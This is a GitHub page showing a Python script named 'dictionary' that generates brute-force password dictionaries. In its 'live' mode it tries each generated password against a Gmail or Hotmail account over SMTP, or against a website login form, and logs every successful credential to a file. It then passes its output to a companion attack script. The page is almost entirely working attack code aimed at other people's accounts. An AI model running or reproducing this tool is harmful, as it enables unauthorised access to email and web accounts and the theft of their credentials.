-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathdictionary
More file actions
executable file
·375 lines (372 loc) · 13.6 KB
/
dictionary
File metadata and controls
executable file
·375 lines (372 loc) · 13.6 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
#!/usr/bin/python3
import sys, os, readline, mechanize, random, time, smtplib
def email(email):
check=False
lista=[]
if email.count("@")==1:
lista=email.split("@")
if lista[0].find("@")!=-1 or lista[0].find("\\")!=-1 or lista[0].find("º")!=-1 or lista[0].find("ª")!=-1 or lista[0].find("!")!=-1 or lista[0].find("\"")!=-1 or lista[0].find("·")!=-1 or lista[0].find("$")!=-1 or lista[0].find("%")!=-1 or lista[0].find("/")!=-1 or lista[0].find("(")!=-1 or lista[0].find(")")!=-1 or lista[0].find("=")!=-1 or lista[0].find("?")!=-1 or lista[0].find("¿")!=-1 or lista[0].find("'")!=-1 or lista[0].find("¡")!=-1 or lista[0].find("`")!=-1 or lista[0].find("\'")!=-1 or lista[0].find("+")!=-1 or lista[0].find("|")!=-1 or lista[0].find("#")!=-1 or lista[0].find("~")!=-1 or lista[0].find("½")!=-1 or lista[0].find("¬")!=-1 or lista[0].find("{")!=-1 or lista[0].find("[")!=-1 or lista[0].find("]")!=-1 or lista[0].find("}")!=-1 or lista[0].find("-")!=-1 or lista[0].find("_")!=-1 or lista[0].find(":")!=-1 or lista[0].find(";")!=-1 or lista[0].find(",")!=-1 or lista[0].find("&")!=-1 or lista[0].find("€")!=-1:
check=False
else:
check=True
if str(lista[1]).count(".")==1:
pass
else:
check=False
else:
check=False
return check
def attack_live(service,server,port,email,password,username):
if service=="email":
try:
smtp=smtplib.SMTP(server,port)
smtp.ehlo()
smtp.starttls()
password=password.replace("\n","")
smtp.login(email,password)
print("\033[1;32m[+]\033[0m user:"+str(email)+" password:"+str(password))
f=open("passwords_emails.txt","a")
if server=="smtp.live.com":
server_title="HOTMAIL"
elif sever=="smtp.gmail.com":
server_title="GMAIL"
f.write(str(server_title)+" ==>> user: "+str(email)+" password: "+str(password))
f.close()
smtp.quit()
except smtplib.SMTPAuthenticationError:
print("\033[1;31m[-]\033[0m not found: "+str(password)+" email: "+str(email))
except smtplib.SMTPServerDisconnected:
print("\033[1;31m [!]\033[0m Disconnect")
sys.exc_info()
except KeyboardInterrupt:
print("Oh! What happened? :O")
sys.exit()
elif service=="website":
try:
browser=mechanize.Browser()
browser.set_handle_robots(False) #not handle robots
useragents=[
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.19) Gecko/20081202 Firefox (Debian-2.0.0.19-0etch1)',
'Opera/9.80 (J2ME/MIDP; Opera Mini/9.80 (S60; SymbOS; Opera Mobi/23.348; U; en) Presto/2.5.25 Version/10.54',
'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.12 Safari/535.11',
'Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.6 (KHTML, like Gecko) Chrome/16.0.897.0 Safari/535.6'
]
browser.addheaders=[('User-Agent',random.choice(useragents))] # client type random
website=browser.open("http://website.com/login")
browser.select_form(predicate=lambda frm: 'id' in frm.attrs and frm.attrs['id'] == 'form_id')
browser.form["name_username"]=username
browser.form["name_password"]=password
browser.method="POST"
submit=browser.submit()
text=str(submit.read())
# if the Page source has the string 'dashboard', this means that, it was logged successfully.
if text.count("dashboard")>0:
print("\033[1;32m[+]\033[0m user:"+str(username)+" password:"+str(password))
f=open("password_website","a")
f.write(str(server_name)+" ==>> "+"username: "+str(username)+" password: "+str(password))
f.close()
sys.exit()
else:
print("\033[1;31m[-]\033[0m not found: "+str(password)+" username: "+str(username))
time.sleep(5)
except:
print("\033[1;31m[!] WARNING!\033[0m Fatal error in the login")
print(sys.exc_info())
def generate_live_passwords(min,max,dic,pattern):
n=1
code=""
# Prints the range
for num in range(min,(max+1)):
lista=[]
tab_n=1 #tabulations' number
# For each number printed in the previous loop for, it does other loop for
for i in range(1,(num+1)):
# If the variable's number is the last
if i==(num+1):
lista.append("L"+str(n))
code+="for L"+str(n)+" in dic:\n"
else:
lista.append("L"+str(n))
code+="for L"+str(n)+" in dic:\n"
#Print as many tabs as variable's value 'tab_n'
for tab in range(1,(tab_n+1)):
code+="\t"
tab_n+=1
n+=1
passwords=""
#This creates a mathematical operation, with the 'item' variables. For generate the passwords
for item in lista:
passwords+=str(item)+"+"
leng=len(passwords)
passwords=passwords[:leng -1]
# if the 'pattern' option is true, the passwords are generated with the pattern specified.
if pattern==True:
code+="password="+str(passwords)+"; password=p[0]+password+p[1];attack_live(service,server_live,port_live,email_live_input,password,username)"
else:
code+="password="+str(passwords)+"; attack_live(service,server_live,port_live,email_live_input,password,username)"
code+="\n"
return code
def generate_passwords(length_min,length_max,dic,boolean,pattern):
n=1
code=""
# Prints the range
for num in range(min,(max+1)):
lista=[]
tab_n=1 #tabulations' number
# For each number printed in the previous loop for, it does other loop for
for i in range(1,(num+1)):
# If the variable's number is the last
if i==(num+1):
lista.append("L"+str(n))
code+="for L"+str(n)+" in dic:\n"
else:
lista.append("L"+str(n))
code+="for L"+str(n)+" in dic:\n"
#Print as many tabs as variable's value 'tab_n'
for tab in range(1,(tab_n+1)):
code+="\t"
tab_n+=1
n+=1
passwords=""
#This creates a mathematical operation, with the 'item' variables. For generate the passwords
for item in lista:
passwords+=str(item)+"+"
leng=len(passwords)
passwords=passwords[:leng -1]
# if the 'keep file' option is true, the passwords are stored in a file created, specified.
if boolean==True:
if pattern==True:
code+="password="+str(passwords)+"; passwords.write(p[0]+password+p[1]+'\\n')"
else:
code+="password="+str(passwords)+"; passwords.write(password+'\\n')"
# else, this keep it on 'passwords' list, created
elif boolean==False:
if pattern==True:
code+="password="+str(passwords)+"; passwords.append(p[0]+password+p[1])"
else:
code+="password="+str(passwords)+"; passwords.append(password)"
code+="\n"
return code
try:
print("""
___
(._.) _/ ' _ _/ ' _ _
<|> (/ / ( / / () /) (/ / (/
_/\_ /
▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬๑۩۩๑▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬●
""")
#
# PASSWORDS' LENGTH
#
min_max=False
while min_max==False:
min=int(input("nº min. characters: "))
max=int(input("nº max. characters: "))
result=max-min
if result > 0:
min_max=True
elif max==min:
min_max=True
else:
min_max=False
print("\033[1;31m[-]\033[0m "+str(min)+" is greater than "+str(max))
#
# SELECT DICTIONARY TYPE
#
print("""
●▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬๑۩۩๑▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬●
1) Numeric
2) Alpha-numeric (uppercase)
3) Alpha-numeric (lowercase)
4) Alpha-numeric (lowercase/uppercase and numeric)
5) Alphabetical (uppercase)
6) Alphabetical (lowercase)
7) Alphabetical (lowercase and uppercase)
8) Custom dictionary
99) Return
●▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬๑۩۩๑▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬●
""")
type=None
while type==None:
type=int(input("dictionary type: "))
if type == 99:
os.system("./main 1")
elif type == 8:
dic=str(input("dictionary: "))
dic1=[]
for item in dic:
dic1.append(str(item))
dic=dic1
elif type < 1 or type > 8:
print("\033[1;31m[-]\033[0m The option "+str(type)+" doesn't exist")
type=None
elif type > 0 and type < 9:
type=type
#
# SELECT SPECIAL CHARACTERS
#
if type!=8:
special_characters=input("special characters [y/n]: ")
else:
special_characters="N"
if special_characters=="y" or special_characters=="Y":
special_characters=True
elif special_characters=="n" or special_characters=="N":
special_characters=False
#
# KEEP DICTIONARY FILE
#
live=input("Do you want to attack while the script generates the passwords? [y/n] ")
pathfile=None
if live=="Y" or live=="y":
print("""
●▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬๑۩۩๑▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬●
1) GMAIL
2) HOTMAIL
3) website
●▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬๑۩۩๑▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬●
""")
username=""
service=""
server_live=""
port_live=0
email_live_input=""
live_choose=int(input("choose: "))
if live_choose==1 or live_choose==2:
if live_choose==1:
service="email"
server_live="smtp.gmail.com"
elif live_choose==2:
service="email"
server_live="smtp.live.com"
port_live=587
boolean_email=False
while boolean_email==False:
email_live_input=str(input("email: "))
email_live=email(email_live_input)
if email_live==False:
print("\033[1;31m[-]\033[0m Invalid email")
elif email_live==True:
boolean_email=True
elif live_choose==3:
service="website"
username=str(input("username: "))
else:
print("\033[1;34m[i]\033[0m Cancelled")
else:
output=input("Do you want to Keep dictionary file? [y/n] ")
if output=="y" or output=="Y":
output=True
output_input=False
while output_input==False:
pathfile=str(input("path: "))
if pathfile=="" or pathfile==' ':
print("\033[1;31m[-]\033[0m Empty")
output_input=False
elif os.path.isfile(str(pathfile)):
print("\033[1;31m[-]\033[0m This file exists")
output_input=False
else:
output_input=True
else:
output=False
print("\033[1;31m[!] Warning:\033[0m If you don't save the passwords generated, it will keep in a variable, and it can dead this process, while this is generated (if it generate a lot of passwords)")
cancel=str(input("Cancel? [y/n]: "))
if cancel=="Y" or cancel=="y":
os.system("./dictionary")
characters=[
["0","1","2","3","4","5","6","7","8","9"],
["A","B","C","D","E","F","G","H","I","J","K","L","M","N","O","P","Q","R","S","T","U","V","W","X","Y","Z"],
["a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z"],
[" ","!","\"","#","$","%","&","'","(",")","*","+",",","-",".","/",":",";","<","=",">","?","@","[","\\","]","^","_","`","~"]
]
#This Generates the dictionary types
switch_dic={
1: characters[0],
2: characters[1]+characters[0],
3: characters[2]+characters[0],
4: characters[1]+characters[2]+characters[0],
5: characters[1],
6: characters[2],
7: characters[1]+characters[2]
}
if type!=8:
dic=switch_dic.get(type,"Invalid option")
if special_characters==True:
dic=dic+characters[3]
pattern=None
#
# PATTERN IN PASSWORDS GENERATED
#
while pattern==None:
pattern=str(input("Do you want to use pattern? [y/n]: "))
if pattern=="Y" or pattern=="y":
pattern=True
elif pattern=="N" or pattern=="n":
pattern=False
else:
pattern=None
print("\033[1;31m[-]\033[0m Invalid option")
if pattern==True:
pattern_input=False
while pattern_input==False:
pattern_input=str(input("pattern: "))
if pattern_input=='' or pattern_input==" ":
print("\033[1;31m[-]\033[0m input empty")
pattern_input=False
elif pattern_input.count("?")==0:
print("\033[1;31m[-]\033[0m It needs one '?'")
pattern_input=False
elif pattern_input.count("?") > 1:
print("\033[1;31m[-]\033[0m It only lets one '?'")
pattern_input=False
#Calculate combinations' number
combinations="combinations="
for y in range(min,(max+1)):
if y==max:
combinations+="(len(dic)**"+str(y)+")"
else:
combinations+="(len(dic)**"+str(y)+")+"
#execute the script generated by 'generate_password()' function, for generate the passwords
exec(combinations)
print("Generating "+str(combinations)+" passwords...")
if pattern==True:
string="p=\""+str(pattern_input)+"\"\np=p.split('?')\n"
else:
string=""
#This create a file (empty) in the PC's location specified
if live=="y" or live=="Y":
string+="dic="+str(dic)+"\n"
string+=generate_live_passwords(min,max,dic,pattern)
else:
if output==True:
string+="dic="+str(dic)+"\npasswords=open(\'"+str(pathfile)+"\','w')\n"
if pattern==True:
string+=generate_passwords(min,max,dic,True,True)
elif pattern==False:
string+=generate_passwords(min,max,dic,True,False)
string+="passwords.close()"
#This create a list (empty), if the option is false
elif output==False:
string+="dic="+str(dic)+"\npasswords=[]\n"
if pattern==True:
string+=generate_passwords(min,max,dic,False,True)
elif pattern==False:
string+=generate_passwords(min,max,dic,False,False)
exec(str(string))
print("\033[1;32m[+]\033[0m Passwords generated successfully") # Finish passwords generated
# After, this asks if you want continue or exit. If continue, it execute 'attack' script with the dictionary
salir=str(input("exit? [y/n]: "))
if salir=="Y" or salir=="y":
sys.exit()
elif salir=="N" or salir=="n":
if output==False:
passwords="<<==>>".join(passwords)
passwords=str(passwords)
os.system("./attack False \'"+str(passwords)+"\'")
else:
os.system("./attack True \'"+str(pathfile)+"\'")
except KeyboardInterrupt:
print("Oh! What happened? :O")
except ValueError:
print("\033[1;31m[-]\033[0m Error at type a value. Incorrect value or you don't type nothing.")